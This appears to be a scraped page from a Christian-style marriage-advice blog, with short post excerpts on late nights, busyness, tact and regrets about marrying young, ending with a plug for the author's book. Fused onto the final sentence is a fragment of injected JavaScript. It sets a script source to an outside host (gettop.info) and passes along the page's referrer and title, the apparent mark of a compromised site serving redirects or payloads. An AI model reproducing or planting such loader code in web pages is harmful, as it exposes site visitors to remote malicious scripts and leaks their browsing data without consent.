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OGA AT THE TOP!

Oga at the top

 

I know we’re almost getting into a new month and I bet there’s something you must have heard so much of already; so much you must be tired of it already!

The Price of Late Nights and More…….

Late nights

 

There were days when I and hubby went to sleep at 3/4am sometime about 9years ago. We were newly weds and had believed that marriage would be fine so far each person did his/her part.

It’s called TACT!

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I trust you’ve had a great week so far? Mine has been packed but exciting!

A quick thought for married people this cool Friday evening…..

BUSYNESS TINZ…….!

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I was recently chatting with my husband and he made me see that there’s a tendency for me to fall into the ‘trap’ of joining people to believe that I’m extremely busy. I took offence a bit, justifiably so! My schedule many times can be really choked up, having something to sort out almost every time.

Morning Dawns when you wake up!

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Many married people have regrets about some decisions surrounding their getting married. Some see issues with when they decided to get married (too early, too late). Others blame family, peer pressure, etc.

Today, we’re looking at timing/age. If you believe you were too young when you got married, so what are you going to do about it? You’re married already, face it!

Marriage lessons are mostly on the job training types, so when you quit living in regrets and take responsibility for making your marriage work is when it begins to work.

Yes you can. Make it work; morning has come!

I remain committed to your marital success.

Have you taken a look at past posts on my website? Dig in and take a huge bite; loads to help your relationships soar. Also, have you gotten a copy of my book? They are fantastic gift ideas for friends and colleagues always!s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;